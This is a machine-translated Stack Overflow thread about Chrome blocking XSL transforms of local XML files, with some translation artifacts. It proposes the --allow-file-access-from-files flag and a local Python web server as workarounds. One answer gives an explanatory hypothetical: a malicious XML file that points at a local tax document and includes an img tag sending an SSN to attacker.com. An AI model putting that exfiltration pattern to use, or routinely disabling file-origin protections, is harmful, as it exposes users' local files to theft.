web-dev-qa-db-ja.com

Chrome=を実行して、ローカルファイルでXSL変換を実行できますか?

私はxsltを検討していて、w3schoolsの例を使用してテストを開始しました。

ただし、xmlおよびxslをファイルに保存してローカルで開くと、chromeはxsl変換を実行しません。空白のページが表示されるだけです。

<?xml-stylesheet type="text/xsl" href="style.xsl">タグをxmlドキュメントに追加しました。Firefoxは見た目通りにレンダリングします。また、Webサーバーでファイルを見ると、chromeは見た目通りにファイルを表示します。

chrome=リンクがローカルのときにスタイルシート情報を見つけるのに問題があるのですか?hrefをfile:///C:/xsl/style.xslに変更しても違いはありませんでした。

更新:これはセキュリティポリシーの副作用のようです file:/// *を同じOriginとして扱わないため これにより、次のエラーがコンソールに表示されます。

URL file:/// C:/xsl-rpg/style.xslをURL file:/// C:/xsl-rpg/data.xmlを持つフレームからロードしようとする安全でない試み。ドメイン、プロトコル、およびポートは一致する必要があります。

81
Zaz

短い答えは、「いいえ、 ブラウザの多様なセット そこの1つを使用してください」です。

これが機能しない理由は、セキュリティ上の懸念によるもので、Chromeは議論の余地のある方法で対処しています[1][2][3][4]、XMLファイルが同じディレクトリ内のローカルXSLTファイルにアクセスするのをブロックすることにより、HTMLファイルは同じディレクトリ内の.CSSファイルに問題なくアクセスできます。

上記の問題全体にわたって、ユーザーはより明確なエラーメッセージ(ドメイン、プロトコル、ポートが実際に一致するため)を要求するか、少なくともスタイリングなしでXMLを表示します。 Chrome開発者はこれらのリクエストを無視しました。

65
Zaz

Chromeのコマンドラインフラグを使用して、これをローカルで行うことができます。

特定のフラグは--allow-file-access-from-filesです

OS Xの場合:Terminal.appから/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-filesを実行します

Windowsの場合:コマンドプロンプトから%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-filesを実行します

注:現在実行中の場合は、おそらくChromeを終了する必要があります。

52
Jake Burton

あなたがOPに固執したい場合、答えはいいえです(他の人が指摘したように)が、問題を解決する1つの方法は、クロムでhttp経由で簡単なウェブサーバーを実行し、ファイルを開くことです。 python 2.xがインストールされている場合、次のように入力してWebサーバーを実行できます。

python -m SimpleHTTPServer

またはpython 3.x:

python3 -m http.server

クロムのhttp://localhost:8000/yourfile.xmlを使用してファイルを開きます。うまくいけば、あなたはあなたの仕事を終わらせたいだけで、file://を使用してファイルを開かなければならないことは重要ではありません

12
morpheus

Xslファイルに従ってxmlを表示する私の回避策

ヘッダーを持つsome_file.xmlがあるとします:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. ファイルhttps://some-site.com/Common.xslをダウンロードし、some_file.xmlの横に配置します
  2. ヘッダーの一部をhref="https://some-site.com/Common.xsl"からhref="http://localhost:8001/Common.xsl"に変更します
  3. ファイルがあるディレクトリで実行します-python3 -m http.server 8001
  4. 任意のブラウザで開きますhttp://localhost:8001/some_file.xml
3
Greg Eremeev

Chromeバグページで少し解読しました-彼らは問題が何であるか、そして彼らが誰も壊さないのではなく、誰も壊すことを選んだ理由を説明しないことに非常に熱心です。

私のハードドライブにXMLファイル-somewhere-があるとします:

C:\ Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

そして、悪意のあるエンティティ-何らかの方法で-悪意のあるXmlファイルをコンピュータにドロップすることができました。例:

C:\ Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

想像してくださいTrojanVirusWorm.xmlには、スタイルシート処理命令([〜#〜] pi [〜#〜]):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

その後、攻撃者はブラウザにローカルに保存されたtrojanVirusWorm.xmlファイル。

どうやらXMLファイルが(XSDファイルによって変換されるのではなく)XSDファイルの内容をreadできる方法があります:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

XMLファイルがスタイルシートファイルを読み取る方法がわかりません。しかし、Chromeチームは、それが危険であり、解決できないことを保証します。

他のすべてのブラウザがそれを解決しました。彼らはそれを解決しました それは問題ではないからです

2
Ian Boyd